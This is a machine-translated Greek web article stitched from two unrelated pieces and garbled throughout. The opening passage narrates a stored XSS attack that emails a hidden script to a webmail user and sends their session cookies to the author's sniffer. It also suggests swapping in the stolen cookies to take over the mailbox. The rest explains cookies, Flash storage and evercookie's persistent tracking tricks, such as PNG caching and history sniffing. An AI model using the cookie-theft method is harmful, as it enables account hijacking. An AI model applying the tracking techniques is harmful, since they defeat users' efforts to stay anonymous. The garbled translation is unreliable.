Για το σενάριο, εφάρμοσα κωδικοποίηση URL, ώστε να μην φιλτραριστεί τίποτα. Πρόσθεσα και την παράμετρο “q_folder=0” για την αναζήτηση, ώστε η αναζήτηση να γίνει στο φάκελο Εισερχόμενα.

Το γράμμα είναι έτοιμο, το στέλνουμε. Χρησιμοποίησα το δεύτερο γραμματοκιβώτιό μου στην ίδια υπηρεσία με τον παραλήπτη. Κοιτάμε τι ήρθε στο άλλο κουτί.

Το κείμενο του σεναρίου μας δεν είναι ορατό καθώς αναμειγνύεται στο φόντο. Ας κάνουμε κλικ στον σύνδεσμο και ας δούμε τι συμβαίνει. Ο χρήστης μετακινείται στα αποτελέσματα αναζήτησης email με την παράμετρο που ορίσαμε. Η επιστολή μας που στείλαμε είναι ορατή στα αποτελέσματα αναζήτησης. Αυτή τη στιγμή, το σενάριό μας έχει ήδη λειτουργήσει και έχει στείλει τα cookies του χρήστη στον sniffer. Μετά από 5 δευτερόλεπτα (ο χρόνος εξαρτάται από τις ρυθμίσεις του σεναρίου), ο χρήστης ανακατευθύνεται στον ιστότοπο ψηφοφορίας.

Ελέγχω το αρχείο μου sniff.txt:

Επειδή ο στόχος μου δεν είναι να κλέψω τα κουτιά άλλων ή να αποκτήσω πρόσβαση σε αυτά, θα τελειώσω την ιστορία εδώ. Αλλά θεωρητικά, μπορείτε να αντικαταστήσετε τα cookies σας με κάποιου άλλου και να αποκτήσετε πρόσβαση στο γραμματοκιβώτιο κάποιου άλλου. Γενικά, εάν ένας εισβολέας βάλει φωτιά στον στόχο, τότε θα βρει μια χρήση για τις πληροφορίες που έλαβε.

Θα ήθελα να ευχαριστήσω τον Sergey Belov (

Τα cookies είναι μια σίγουρη τεχνολογία που επιτρέπει σε έναν ιστότοπο να «θυμάται» τον χρήστη,
αποθηκεύστε τις ρυθμίσεις του και μην ζητάτε κάθε φορά το όνομα χρήστη και τον κωδικό πρόσβασής του. Μπορώ
σκεφτείτε ότι εάν διαγράψετε τα cookies στο πρόγραμμα περιήγησής σας, ο ιστότοπος δεν θα σας αναγνωρίσει. Αλλά αυτό
η αυτοπεποίθηση είναι παραπλανητική.

Μπορείτε να ανησυχείτε για την ανωνυμία σας όσο θέλετε, χρησιμοποιήστε έναν διακομιστή μεσολάβησης
και VPN, πλαστογραφούν κεφαλίδες αιτημάτων HTTP που δίνουν το σύστημα που χρησιμοποιείται,
έκδοση προγράμματος περιήγησης, ζώνη ώρας και μια θάλασσα από άλλες πληροφορίες, αλλά ο ιστότοπος δεν ενδιαφέρεται
θα υπάρχουν τρόποι να αναγνωρίσετε το γεγονός ότι έχετε ήδη συμμετάσχει σε αυτό. Σε ΠΟΛΛΟΥΣ
περιπτώσεις, αυτό δεν είναι ιδιαίτερα κρίσιμο, αλλά όχι σε μια κατάσταση όπου, σε ορισμένες
υπηρεσία, πρέπει να συστηθείτε ως άλλος χρήστης ή απλά να αποθηκεύσετε
ανωνυμία. Είναι εύκολο να φανταστεί κανείς πώς το σύστημα καταπολέμησης της απάτης ορισμένων υπό όρους
χρηματοπιστωτικό ίδρυμα, εάν διαπιστώσει ότι έχει χρησιμοποιηθεί ο ίδιος υπολογιστής
εξουσιοδότηση βάσει λογαριασμών εντελώς διαφορετικών ατόμων. Και είναι ωραίο
γνωρίζετε ότι κάποιος στον ιστό μπορεί να παρακολουθεί τις κινήσεις σας; Μετά βίας. Αλλά
για τα πάντα με τη σειρά.

Πώς λειτουργούν τα cookies;

Τα cookies χρησιμοποιούνται από αμνημονεύτων χρόνων για την αναγνώριση του χρήστη.
Τα cookies (από τα αγγλικά "cookies") είναι ένα μικρό τμήμα πληροφοριών κειμένου,
που ο διακομιστής στέλνει στο πρόγραμμα περιήγησης. Όταν ο χρήστης έχει πρόσβαση στον διακομιστή
(πληκτρολογεί τη διεύθυνσή του στη γραμμή του προγράμματος περιήγησης), ο διακομιστής μπορεί να διαβάσει τις πληροφορίες,
που περιέχονται στα cookies και με βάση την ανάλυσή τους, πραγματοποιήστε οποιεσδήποτε ενέργειες.
Για παράδειγμα, στην περίπτωση εξουσιοδοτημένης πρόσβασης σε κάτι μέσω του ιστού σε cookies
η σύνδεση και ο κωδικός πρόσβασης αποθηκεύονται κατά τη διάρκεια της συνεδρίας, κάτι που επιτρέπει στον χρήστη να μην το κάνει
πληκτρολογήστε τα ξανά όποτε σας ζητηθεί για κάθε έγγραφο που προστατεύεται με κωδικό πρόσβασης. Έτσι
ώστε η ιστοσελίδα να μπορεί να «θυμάται» τον χρήστη. Τεχνικά μοιάζει
με τον εξής τρόπο. Όταν ζητάτε μια σελίδα, το πρόγραμμα περιήγησης στέλνει ένα σύντομο μήνυμα στον διακομιστή ιστού.
Κείμενο αιτήματος HTTP.

Για παράδειγμα, για πρόσβαση στη σελίδα www.example.org/index.html το πρόγραμμα περιήγησης
στέλνει το ακόλουθο αίτημα στον διακομιστή www.example.org:

GET /index.html HTTP/1.1
Διοργανωτής: www.example.org

Ο διακομιστής απαντά στέλνοντας τη σελίδα που ζητήσατε μαζί με το κείμενο,
που περιέχει μια απόκριση HTTP. Μπορεί να περιέχει μια οδηγία προς το πρόγραμμα περιήγησης για αποθήκευση cookies:

HTTP/1.1 200 OK
content-type: text/html
Set-Cookie: όνομα=τιμή

Εάν υπάρχει μια συμβολοσειρά Set-cookie, το πρόγραμμα περιήγησης θυμάται το string name=value (name=
τιμή) και το στέλνει πίσω στον διακομιστή με κάθε επόμενο αίτημα:

GET /spec.html HTTP/1.1
Διοργανωτής: www.example.org
Cookie: όνομα=τιμή
Αποδοχή: */*

Όλα είναι πολύ απλά. Εάν ο διακομιστής έλαβε cookies από τον πελάτη και τα έχει μέσα
βάση, σίγουρα μπορεί να τα επεξεργαστεί. Έτσι, αν αυτά ήταν cookies με
ορισμένες πληροφορίες εξουσιοδότησης, ο χρήστης τη στιγμή της επίσκεψης δεν θα έχει
ζητήστε όνομα χρήστη και κωδικό πρόσβασης. Από προεπιλογή, τα cookies έχουν σταθερή διάρκεια ζωής.
(αν και μπορεί να είναι πολύ μεγάλο), μετά από το οποίο πεθαίνουν. Και οποιαδήποτε
Τα αποθηκευμένα cookies μπορούν εύκολα να διαγραφούν από τον χρήστη χρησιμοποιώντας
την αντίστοιχη επιλογή που υπάρχει σε οποιοδήποτε πρόγραμμα περιήγησης. Αυτό το γεγονός είναι έντονο
αναστατώνει τους ιδιοκτήτες πολλών πόρων που δεν θέλουν να χάσουν την επαφή τους
επισκέπτης. Είναι σημαντικό να τον παρακολουθήσουν, να καταλάβουν ότι «αυτό το άτομο ήταν μαζί μας
χθες, και προχθές κ.λπ.». Αυτό ισχύει ιδιαίτερα για διάφορους αναλυτές
κίνηση, συστήματα τήρησης στατιστικών στοιχείων, δίκτυα banner κ.λπ. Εδώ και εκεί
η διασκέδαση ξεκινά, γιατί οι προγραμματιστές χρησιμοποιούν όλα τα είδη
κόλπα που πολλοί χρήστες δεν γνωρίζουν καν. Είναι σε κίνηση
διάφορα κόλπα.

Flash cookies

Το θέμα είναι ότι εκτός από τα συνηθισμένα «καλά» HTTP, στα οποία όλοι έχουν καιρό
συνηθίσαμε, τώρα χρησιμοποιούνται ενεργά εναλλακτικές αποθήκες, όπου το πρόγραμμα περιήγησης
μπορεί να γράψει δεδομένα στην πλευρά του πελάτη. Το πρώτο πράγμα που πρέπει να αναφέρουμε είναι
αποθήκευση αγαπημένων και μισητών ταυτόχρονα Flash (για όσους χρήστες
στο οποίο είναι εγκατεστημένο). Τα δεδομένα αποθηκεύονται στα λεγόμενα LSO (Local Shared
Αντικείμενα) - αρχεία παρόμοια με cookies σε μορφή, τα οποία αποθηκεύονται τοπικά
υπολογιστή του χρήστη. Η προσέγγιση είναι από πολλές απόψεις παρόμοια με τα συνηθισμένα "ψωμάκια" (σε αυτό
θήκη, μια μικρή ποσότητα αποθηκεύεται επίσης στον υπολογιστή του χρήστη
δεδομένα κειμένου), αλλά έχει ορισμένα πλεονεκτήματα:

  • Τα Flash cookies είναι κοινά σε όλα τα προγράμματα περιήγησης σε έναν υπολογιστή (σε αντίθεση με
    από το κλασικό cookie, το οποίο είναι συνδεδεμένο με το πρόγραμμα περιήγησης). Ρυθμίσεις, πληροφορίες
    σχετικά με τη συνεδρία, καθώς και, ας πούμε, κάποιο αναγνωριστικό για την παρακολούθηση του χρήστη,
    δεν συνδέονται με κάποιο συγκεκριμένο πρόγραμμα περιήγησης, αλλά γίνονται γενικά για
    Ολοι.
  • Τα Flash cookies σάς επιτρέπουν να αποθηκεύετε πολύ περισσότερα δεδομένα (όπως
    συνήθως 100 Kb), γεγονός που αυξάνει τον αριθμό των ρυθμίσεις χρήστη,
    διαθέσιμο για αποθήκευση.

Στην πράξη, το LSO γίνεται μια πολύ απλή και προσιτή τεχνολογία παρακολούθησης.
χρήστης. Σκέψου το: αν σου πρότεινα να αφαιρέσεις όλα τα "καλά" μέσα
σύστημα, θα θυμόσαστε τα Flash cookies; Πιθανώς όχι. Τώρα προσπαθήστε να πάρετε
οποιοσδήποτε θεατής, για παράδειγμα, δωρεάν

FlashCookies Δείτε και δείτε πόσα ενδιαφέροντα πράγματα έχουν καταγραφεί
Flash αποθηκευτικοί χώροι. Μια λίστα με τοποθεσίες που πραγματικά δεν θέλουν
χάσετε τα ίχνη σας, ακόμα κι αν διαγράψετε την προσωρινή μνήμη του προγράμματος περιήγησής σας (μαζί με τα καλούδια).

Cookies παντού με evercookie

Αλλά αν οι προχωρημένοι χρήστες έχουν ακούσει για LSO και λίγο πολύ καλό
προγραμματιστές, η ύπαρξη άλλων τεχνικών αποθήκευσης δεδομένων είναι μερικές φορές πολύ
εξελιγμένο (αλλά αποτελεσματικό), πολλοί δεν υποψιάζονται καν. Πάρτε μερικά νέα
αποθετήρια που εμφανίστηκαν σε
(αποθήκευση συνεδρίας,
Local Storage, Global Storage, Database Storage μέσω SQLite), το οποίο μπορείτε
διαβάστε στο άρθρο "". Αυτό το πρόβλημα μπέρδεψε σοβαρά τον Πολωνό ειδικό
Αξιωματικός ασφαλείας Samy Kamkar. Ως αποτέλεσμα, ένα ειδικό
Η βιβλιοθήκη JavaScript evercookie, η οποία έχει σχεδιαστεί ειδικά για
δημιουργήστε τα πιο ανθεκτικά cookies στο πρόγραμμα περιήγησης. Κάποιος μπορεί να ρωτήσει: «Γιατί
είναι απαραίτητο;».Πολύ απλό: προκειμένου να ταυτιστεί μοναδικά
επισκέπτης της σελίδας αν έρθει ξανά. Τέτοια δύσκολα σκοτωμένα μπισκότα συχνά
ονομάζονται Cookies παρακολούθησης και ορίζονται ακόμη και από ορισμένα προγράμματα προστασίας από ιούς ως
απειλή απορρήτου. Το Evercookie μπορεί να μειώσει όλες τις προσπάθειες να παραμείνει ανώνυμη
μηδέν.

Το μυστικό είναι ότι το evercookie χρησιμοποιεί όλα τα διαθέσιμα στο πρόγραμμα περιήγησης ταυτόχρονα.
αποθήκευση: κανονικά cookie HTTP, LSO, κοντέινερ HTML5. Επιπλέον, πάει
μερικά πονηρά κόλπα που, χωρίς λιγότερη επιτυχία, σας επιτρέπουν να τα αφήσετε
επιθυμητή ετικέτα στον υπολογιστή. Μεταξύ αυτών: δημιουργία ειδικών εικόνων PNG,
χρήση ιστορικού προγράμματος περιήγησης, αποθήκευση δεδομένων με χρήση ετικέτας ETag, κοντέινερ
User Data in Internet Explorer- αποδεικνύεται ότι υπάρχουν πολλές επιλογές.

Μπορείτε να δείτε πόσο αποτελεσματικά λειτουργεί αυτό στον ιστότοπο.
προγραμματιστής -
http://samy.pl/evercookies. Εάν κάνετε κλικ στο "Κάντε κλικ για να δημιουργήσετε ένα
evercookie", θα δημιουργηθεί ένα cookie με τυχαίο αριθμό στο πρόγραμμα περιήγησης. Δοκιμάστε
διαγράψτε τα cookies όπου είναι δυνατόν. Στοιχηματίζω ότι είσαι τώρα
Σκέφτηκα: "Πού αλλού μπορώ να διαγράψω τα cookies, εκτός από τις ρυθμίσεις του προγράμματος περιήγησης;".
Είστε σίγουροι ότι τα διαγράψατε όλα; Επαναλάβετε τη φόρτωση της σελίδας για να είστε σίγουροι, μπορείτε ακόμη και να φορτώσετε ξανά
ανοίξτε το πρόγραμμα περιήγησης. Τώρα μη διστάσετε να κάνετε κλικ στο κουμπί "Κάντε κλικ για να ανακαλύψετε ξανά τα cookies".
wtf; Αυτό δεν εμπόδισε τον ιστότοπο να λάβει δεδομένα από κάπου - στα πεδία της σελίδας
εμφανίστηκε ο αριθμός που ήταν αποθηκευμένος στα cookies. Τα χάσαμε όμως; Πως
πέτυχε; Ας προσπαθήσουμε να κατανοήσουμε μερικές τεχνικές.

Cookies σε PNG

Μια εξαιρετικά ενδιαφέρουσα τεχνική που χρησιμοποιείται στο Evercookie είναι η προσέγγιση
αποθήκευση δεδομένων σε προσωρινά αποθηκευμένες εικόνες PNG. Όταν το evercookie πήζει
cookies, αναφέρεται στο σενάριο evercookie_png.php με ένα ειδικό "bun" HTTP,
διαφορετικό από αυτό που χρησιμοποιείται για την αποθήκευση τυπικών πληροφοριών σχετικά με
συνεδρίες. Αυτά τα ειδικά cookies διαβάζονται από ένα σενάριο PHP που δημιουργεί
Εικόνα PNG στην οποία όλες οι τιμές RGB (χρώμα) ορίζονται σύμφωνα με
με πληροφορίες συνεδρίας. Τελικά, το αρχείο PNG αποστέλλεται στο πρόγραμμα περιήγησης πελάτη
με σημείωση: «το αρχείο πρέπει να αποθηκευτεί προσωρινά για 20 χρόνια».

Έχοντας λάβει αυτά τα δεδομένα, το evercookie διαγράφει τα ειδικά cookies που δημιουργήθηκαν νωρίτερα.
Τα cookies HTTP, στη συνέχεια, κάνει το ίδιο αίτημα στο ίδιο σενάριο PHP, αλλά όχι
παροχή πληροφοριών για τον χρήστη. Βλέπει ότι τα δεδομένα τον ενδιαφέρουν
Όχι, και δεν μπορεί να δημιουργήσει PNG. Αντίθετα, το πρόγραμμα περιήγησης επιστρέφει
ψεύτικη απάντηση HTTP "304 Not Modified", η οποία την αναγκάζει να τραβήξει το αρχείο από
τοπική κρυφή μνήμη. Η εικόνα από την κρυφή μνήμη εισάγεται στη σελίδα χρησιμοποιώντας την ετικέτα
Καμβάς HTML5. Μόλις συμβεί αυτό, το evercookie διαβάζει κάθε pixel
τα περιεχόμενα του Καμβά, εξάγοντας τις τιμές RGB και έτσι επαναφέρετε
τα αρχικά δεδομένα cookie που ήταν αποθηκευμένα στην εικόνα. Voila, τα πάντα
έργα.

Υπόδειξη με Ιστορικό Ιστού

Μια άλλη τεχνική χρησιμοποιεί απευθείας το ιστορικό του προγράμματος περιήγησης. Μόλις το πρόγραμμα περιήγησης
εγκαθιστά ένα bun, το evercookie κωδικοποιεί δεδομένα χρησιμοποιώντας τον αλγόριθμο Base64,
που πρέπει να σωθούν. Ας υποθέσουμε ότι αυτά τα δεδομένα είναι μια συμβολοσειρά,
που προκύπτει "bcde" μετά τη μετατροπή σε Base64. βιβλιοθήκη διαδοχικά
έχει πρόσβαση στις ακόλουθες διευθύνσεις URL στο παρασκήνιο:

google.com/evercookie/cache/b
google.com/evercookie/cache/bc
google.com/evercookie/cache/bcd
google.com/evercookie/cache/bcde
google.com/evercookie/cache/bcde-

Έτσι, αυτές οι διευθύνσεις URL αποθηκεύονται στο ιστορικό. Ακολουθεί ένα ειδικό
τέχνασμα - CSS History Knocker, το οποίο με τη βοήθεια JS script και CSS επιτρέπει
ελέγξτε εάν ο χρήστης έχει επισκεφτεί τον καθορισμένο πόρο ή όχι (περισσότερες λεπτομέρειες εδώ -
samy.pl/csshack). Για
Το bun ελέγχει το evercookie που τρέχει μέσα από όλους τους πιθανούς χαρακτήρες Base64
google.com/evercookie/cache που ξεκινά από το "a" και συνεχίζει, αλλά μόνο
για έναν χαρακτήρα. Μόλις το σενάριο δει τη διεύθυνση URL στην οποία έγινε πρόσβαση, αυτό
αρχίζει να επαναλαμβάνει τον επόμενο χαρακτήρα. Αποδεικνύεται ένα είδος ωμής βίας. Στην πράξη
Αυτή η επιλογή πραγματοποιείται εξαιρετικά γρήγορα, επειδή δεν υπάρχουν αιτήματα
διακομιστής δεν εκτελούνται. Η αναζήτηση στο ιστορικό πραγματοποιείται τοπικά στο μέγιστο
βραχυπρόθεσμα. Η βιβλιοθήκη γνωρίζει ότι έχει φτάσει στο τέλος της γραμμής όταν βρίσκεται η διεύθυνση URL
τελειώνουν με "-". Αποκωδικοποιούμε το Base64 και παίρνουμε τα δεδομένα μας. Πως
ονομάστε τους προγραμματιστές των προγραμμάτων περιήγησης που το επιτρέπουν;

Προσπάθησε να ξεφύγεις

Τι συμβαίνει εάν ένας χρήστης σκουπίσει τα cookie του; Ένα σημαντικό χαρακτηριστικό της ίδιας της βιβλιοθήκης
evercookie είναι ότι ο χρήστης θα πρέπει να εργαστεί σκληρά για να
διαγράψτε τα cookies που έχουν απομείνει σε διαφορετικά μέρη - τώρα υπάρχουν 10. Εάν τουλάχιστον ένα
όπου παραμένουν αυτά τα cookies, θα αποκατασταθούν αυτόματα σε όλα τα άλλα
μέρη. Για παράδειγμα, εάν ένας χρήστης όχι μόνο διαγράψει τα τυπικά cookie του, αλλά
και καθαρίστε τα δεδομένα LSO, καθαρίστε τον χώρο αποθήκευσης HTML5, κάτι που είναι ήδη απίθανο, ούτως ή άλλως
Τα cookies που δημιουργούνται με προσωρινά αποθηκευμένο PNG και ιστορικό ιστού θα παραμείνουν. Στο
την επόμενη επίσκεψη στον ιστότοπο με το evercookie, η βιβλιοθήκη όχι μόνο θα μπορεί να βρει
κρυμμένο κουλούρι, αλλά θα τα αποκαταστήσει και σε όλα τα άλλα μέρη που
υποστηρίζει πρόγραμμα περιήγησης πελάτη. Ένα ενδιαφέρον σημείο σχετίζεται με τη μεταγραφή
"κουλούρια" μεταξύ των προγραμμάτων περιήγησης. Εάν ο χρήστης λάβει cookies σε ένα πρόγραμμα περιήγησης,
δηλαδή είναι πιο πιθανό να αναπαραχθούν σε άλλα. Το μόνο πράγμα
η απαραίτητη προϋπόθεση για αυτό είναι η αποθήκευση των δεδομένων στο cookie Local Shared Object.

Πώς να χρησιμοποιήσετε;

Η βιβλιοθήκη Evercookie είναι εντελώς ανοιχτή, ώστε να μπορείτε ελεύθερα
χρησιμοποιήστε το, προσαρμόστε το για να ταιριάζει στις ανάγκες σας. Ο διακομιστής δεν παρουσιάζεται με κανένα
σοβαρές απαιτήσεις. Το μόνο που χρειάζεται είναι πρόσβαση στο σενάριο JS, στο οποίο
περιέχει τον κωδικό evercookie. Για να χρησιμοποιήσετε τα cookie Flash (τοπικό κοινόχρηστο αντικείμενο),
ο φάκελος με το σενάριο πρέπει να περιέχει το αρχείο evercookie.swf και για να εργαστεί ο τεχνικός,
με βάση την προσωρινή αποθήκευση PNG και τη χρήση αποθήκευσης ETag, χρειάζεστε πρόσβαση σε
Σενάρια PHP evercookie_png.php και evercookie_etag.php. Χρησιμοποιήστε evercookie
μπορείτε σε οποιαδήποτε σελίδα του ιστότοπου συνδέοντας το ακόλουθο σενάριο:




mob_info